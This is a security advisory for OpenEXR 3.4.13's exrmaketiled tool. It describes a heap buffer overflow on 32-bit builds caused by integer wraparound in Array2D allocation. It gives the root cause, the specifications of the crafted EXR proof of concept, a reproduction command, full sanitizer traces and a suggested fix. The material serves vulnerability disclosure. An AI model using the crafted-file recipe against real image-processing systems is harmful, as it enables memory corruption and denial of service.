Skip to content

GHSA-wrw5-mm52-r3h8

CVE Information

OpenEXR v3.4.13 exrmaketiled ILP32 ImageChannel dataWindow heap buffer overflow

Summary

A crafted scanline EXR can trigger heap memory corruption in the shipped exrmaketiled tool on 32-bit/ILP32 OpenEXR builds.

exrmaketiled reads the public input dataWindow, resizes its internal Image, creates one TypedImageChannel<T> per channel, and each channel owns an Array2D<T> sized from the input width and height. For a 65537 x 65537 HALF-channel allocation, the Array2D element-count multiplication wraps on ILP32 and allocates about 256 KiB for a channel that conceptually needs about 8 GiB. The subsequent InputPart::readPixels() writes decoded scanline bytes past that undersized heap allocation.

This is file-triggered through a shipped CLI (exrmaketiled) with a crafted EXR file. The demonstrated impact is heap out-of-bounds write / crash on ILP32.

Reproduction status

v3.4.13 ILP32 original exrmaketiled: rc=139 / SIGSEGV
v3.4.13 ILP32 ASAN exrmaketiled: rc=134, heap-buffer-overflow WRITE of size 131074
v3.4.13 ILP32 UBSAN exrmaketiled: rc=134, signed integer overflow at ImfArray.h:186
local origin/main d9de1caa ILP32 original exrmaketiled: rc=139 / SIGSEGV
local origin/main d9de1caa ILP32 ASAN exrmaketiled: rc=134, heap-buffer-overflow WRITE of size 131074
local origin/main d9de1caa ILP32 UBSAN exrmaketiled: rc=139 / SIGSEGV

The PoC file is accepted by normal v3.4.13 inspection tools:

exrheader: rc=0
exrinfo: rc=0

Root cause

Relevant v3.4.13 flow:

src/bin/exrmaketiled/makeTiled.cpp:523-546
  InputPart in(...)
  image0.resize(header.dataWindow())
  image0.addChannel(...)
  in.setFrameBuffer(frameBuffer)
  in.readPixels(header.dataWindow().min.y, header.dataWindow().max.y)

src/bin/exrmaketiled/Image.cpp:58-67
  Image::addChannel(...) creates TypedImageChannel<T>

src/bin/exrmaketiled/Image.h:110-112
  TypedImageChannel<T>::TypedImageChannel(...)
      : _pixels(image.height(), image.width())

src/lib/OpenEXR/ImfArray.h:185-186
  Array2D<T>::Array2D(long sizeX, long sizeY)
      : _data(new T[sizeX * sizeY])

On ILP32, long/size_t are 32-bit. 65537 * 65537 = 4,295,098,369 wraps to 131073; for 2-byte HALF channel storage, ASAN shows an allocation of 262,146 bytes. The first full scanline write is 65537 * sizeof(half) = 131,074 bytes, and decode reaches the end of that undersized allocation.

The local origin/main snapshot adds a negative-dimension check in Array2D, but still allocates with (size_t) sizeX * (size_t) sizeY; on ILP32 this multiplication still wraps, so the same crafted file still reproduces in exrmaketiled.

PoC

The crafted EXR is a public scanline image:

compression: none
dataWindow/displayWindow: (0,0) - (65536,65536)  # 65537 x 65537
channels: A/B/G/R HALF, sampling 1x1
first 64 scanline chunks contain full-size 65537*8-byte row payloads

The full-size early scanline chunks are intentional. This separates the finding from short-chunk source-read/disclosure reports: the ASAN signal here is a destination heap-buffer-overflow write, and the allocation stack points to Array2D<half> in exrmaketiled's TypedImageChannel path.

poc.zip contains only required reproduction material:

poc.zip

reproduce.sh
poc_materials/array2d_w65537_h65537_fullprefix_none.exr
poc_materials/src/build_ilp32_exrmaketiled_direct.sh
poc_materials/src/build_main_origin_ilp32_exrmaketiled_direct.sh
poc_materials/logs/final/reproduce_run.log
poc_materials/logs/final/exrheader_v3413.out
poc_materials/logs/final/exrinfo_v3413.out
poc_materials/logs/final/v3413_asan.err
poc_materials/logs/final/v3413_ubsan.err
poc_materials/logs/final/main_origin_asan.err

poc.zip intentionally does not include report.md, README files, checksum-only files, AFL/fuzzing output, duplicate-gate logs, or security-advisory TSV files.

Reproduction

From the extracted poc.zip directory:

OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.sh

Expected result: exrheader/exrinfo exit 0; v3.4.13 and local origin/main ILP32 exrmaketiled builds fail as shown above; the script exits with PASS after observing the expected non-zero crash/sanitizer statuses.

Impact

An attacker-controlled EXR file can crash ILP32 builds of the shipped exrmaketiled tool and trigger a sanitizer-confirmed heap out-of-bounds write while decoding pixels into per-channel image storage. The practical impact is memory corruption / denial of service in that tool path on 32-bit builds.

Suggested fix

Add overflow-safe dimension and allocation-size validation before allocating Array2D storage. This should cover Array2D constructor and resize paths so shipped tools such as exrmakepreview and exrmaketiled cannot allocate undersized buffers from huge public dataWindow dimensions on ILP32.

Complete validation output

The following is the full reproduce.sh output from the final validation run, including the full sanitizer output emitted by the ASAN/UBSAN runs.

===== exrheader_v3413 =====
rc=0

file /home/br0nzu/openexr/v3.4.13/report/62. OpenEXR v3.4.13 exrmaketiled ILP32 ImageChannel dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr:

file format version: 2, flags 0x0
channels (type chlist):
    A, 16-bit floating-point, sampling 1 1
    B, 16-bit floating-point, sampling 1 1
    G, 16-bit floating-point, sampling 1 1
    R, 16-bit floating-point, sampling 1 1
compression (type compression): none: no compression.
dataWindow (type box2i): (0 0) - (65536 65536)
displayWindow (type box2i): (0 0) - (65536 65536)
lineOrder (type lineOrder): increasing y
pixelAspectRatio (type float): 1
screenWindowCenter (type v2f): (0 0)
screenWindowWidth (type float): 1
type (type string): "scanlineimage"

===== exrinfo_v3413 =====
rc=0
File '/home/br0nzu/openexr/v3.4.13/report/62. OpenEXR v3.4.13 exrmaketiled ILP32 ImageChannel dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr':
  compression: 'none'
  displayWindow: [ 0, 0 - 65536 65536 ] 65537 x 65537
  dataWindow: [ 0, 0 - 65536 65536 ] 65537 x 65537
  channels: 4 channels
   'A': half samp 1 1
   'B': half samp 1 1
   'G': half samp 1 1
   'R': half samp 1 1
===== v3413_original =====
rc=139
===== v3413_asan =====
rc=134
=================================================================
==686424==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf73fe802 at pc 0x566f2b5a bp 0xffcc0308 sp 0xffcbfee0
WRITE of size 131074 at 0xf73fe802 thread T0
    #0 0x566f2b59 in pread64 (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_ilp32_asan+0xd2b59) (BuildId: c3db9ba0b88a16405c76062f4e5c639386cbc3f2)
    #1 0x56946e61 in default_read_func /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_posix_file_impl.h:177:14
    #2 0x569422e6 in dispatch_read /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/context.c:51:16
    #3 0x569c7f0b in read_uncompressed_direct /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:131:18
    #4 0x569c8c47 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:567:10
    #5 0x5692466f in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #6 0x56921818 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #7 0x56921129 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #8 0x56914c17 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #9 0x56914b46 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #10 0x567e9353 in Imf_3_4::InputPart::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputPart.cpp:78:11
    #11 0x567b8153 in makeTiled(char const*, char const*, int, Imf_3_4::LevelMode, Imf_3_4::LevelRoundingMode, Imf_3_4::Compression, int, int, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, Extrapolation, Extrapolation, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/makeTiled.cpp:546:16
    #12 0x567b4985 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/main.cpp:363:9
    #13 0xf7984cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #14 0xf7984d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #15 0x566d6be6 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_ilp32_asan+0xb6be6) (BuildId: c3db9ba0b88a16405c76062f4e5c639386cbc3f2)

0xf73fe802 is located 0 bytes after 262146-byte region [0xf73be800,0xf73fe802)
allocated by thread T0 here:
    #0 0x567b0acb in operator new[](unsigned int) (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_ilp32_asan+0x190acb) (BuildId: c3db9ba0b88a16405c76062f4e5c639386cbc3f2)
    #1 0x567c4a74 in Imf_3_4::Array2D<Imath_3_2::half>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:46
    #2 0x567c4a74 in TypedImageChannel<Imath_3_2::half>::TypedImageChannel(Image&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/Image.h:112:29
    #3 0x567c4a74 in Image::addChannel(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, Imf_3_4::PixelType) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/Image.cpp:63:35
    #4 0x567b7a8e in makeTiled(char const*, char const*, int, Imf_3_4::LevelMode, Imf_3_4::LevelRoundingMode, Imf_3_4::Compression, int, int, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, Extrapolation, Extrapolation, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/makeTiled.cpp:539:24
    #5 0x567b4985 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/main.cpp:363:9
    #6 0xf7984cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_ilp32_asan+0xd2b59) (BuildId: c3db9ba0b88a16405c76062f4e5c639386cbc3f2) in pread64
Shadow bytes around the buggy address:
  0xf73fe580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf73fe600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf73fe680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf73fe700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf73fe780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0xf73fe800:[02]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf73fe880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf73fe900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf73fe980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf73fea00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf73fea80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==686424==ABORTING
===== v3413_ubsan =====
rc=134
/home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58: runtime error: signed integer overflow: 65537 * 65537 cannot be represented in type 'long'
    #0 0x56692837 in Image::addChannel(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, Imf_3_4::PixelType) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/Image.cpp
    #1 0x56686f7f in makeTiled(char const*, char const*, int, Imf_3_4::LevelMode, Imf_3_4::LevelRoundingMode, Imf_3_4::Compression, int, int, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, Extrapolation, Extrapolation, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/makeTiled.cpp:539:24
    #2 0x566847cd in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmaketiled/main.cpp:363:9
    #3 0xf78fdcb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #4 0xf78fdd7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #5 0x56653e66 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_ilp32_ubsan+0xf5e66) (BuildId: 0279fb447e2aa999675d6fd5ecc9caa9d6d01be0)

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58 
===== main_origin_original =====
rc=139
===== main_origin_asan =====
rc=134
=================================================================
==686437==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf6fb7802 at pc 0x566150fa bp 0xfffa6688 sp 0xfffa6260
WRITE of size 131074 at 0xf6fb7802 thread T0
    #0 0x566150f9 in pread64 (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_main_origin_ilp32_asan+0x3c0f9) (BuildId: 79c96fc05f3e45ce906edc1cc36a531e7d464055)
    #1 0xf7ae5281 in default_read_func /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/internal_posix_file_impl.h:177:14
    #2 0xf7ae0666 in dispatch_read /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/context.c:51:16
    #3 0xf7b6f34b in read_uncompressed_direct /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/decoding.c:135:18
    #4 0xf7b70087 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/decoding.c:571:10
    #5 0xf7e6935f in Imf_4_0::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, int, int, std::vector<Imf_4_0::Slice, std::allocator<Imf_4_0::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:587:23
    #6 0xf7e66638 in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:501:21
    #7 0xf7e65f39 in Imf_4_0::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #8 0xf7dd2937 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #9 0xf7dd2866 in Imf_4_0::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #10 0xf7ddbd23 in Imf_4_0::InputPart::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputPart.cpp:78:11
    #11 0x566da6f3 in makeTiled(char const*, char const*, int, Imf_4_0::LevelMode, Imf_4_0::LevelRoundingMode, Imf_4_0::Compression, int, int, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, Extrapolation, Extrapolation, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmaketiled/makeTiled.cpp:548:16
    #12 0x566d6f25 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmaketiled/main.cpp:363:9
    #13 0xf723fcb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #14 0xf723fd7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #15 0x565f9186 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_main_origin_ilp32_asan+0x20186) (BuildId: 79c96fc05f3e45ce906edc1cc36a531e7d464055)

0xf6fb7802 is located 0 bytes after 262146-byte region [0xf6f77800,0xf6fb7802)
allocated by thread T0 here:
    #0 0x566d306b in operator new[](unsigned int) (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_main_origin_ilp32_asan+0xfa06b) (BuildId: 79c96fc05f3e45ce906edc1cc36a531e7d464055)
    #1 0x566e7a75 in Imf_4_0::Array2D<Imath_3_2::half>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfArray.h:205:14
    #2 0x566e7a75 in TypedImageChannel<Imath_3_2::half>::TypedImageChannel(Image&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmaketiled/Image.h:113:29
    #3 0x566e6f96 in Image::addChannel(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, Imf_4_0::PixelType) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmaketiled/Image.cpp:63:35
    #4 0x566da02e in makeTiled(char const*, char const*, int, Imf_4_0::LevelMode, Imf_4_0::LevelRoundingMode, Imf_4_0::Compression, int, int, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, Extrapolation, Extrapolation, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmaketiled/makeTiled.cpp:541:24
    #5 0x566d6f25 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmaketiled/main.cpp:363:9
    #6 0xf723fcb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_exrmaketiled_ilp32_array2d_20260625_232006/bin/exrmaketiled_main_origin_ilp32_asan+0x3c0f9) (BuildId: 79c96fc05f3e45ce906edc1cc36a531e7d464055) in pread64
Shadow bytes around the buggy address:
  0xf6fb7580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf6fb7600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf6fb7680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf6fb7700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf6fb7780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0xf6fb7800:[02]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf6fb7880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf6fb7900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf6fb7980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf6fb7a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf6fb7a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==686437==ABORTING
===== main_origin_ubsan =====
rc=139
a602a4aad612f35201b60d02faa8ac1e7e899a55542127ff19a9f14fe620302a  /home/br0nzu/openexr/v3.4.13/report/62. OpenEXR v3.4.13 exrmaketiled ILP32 ImageChannel dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr
PASS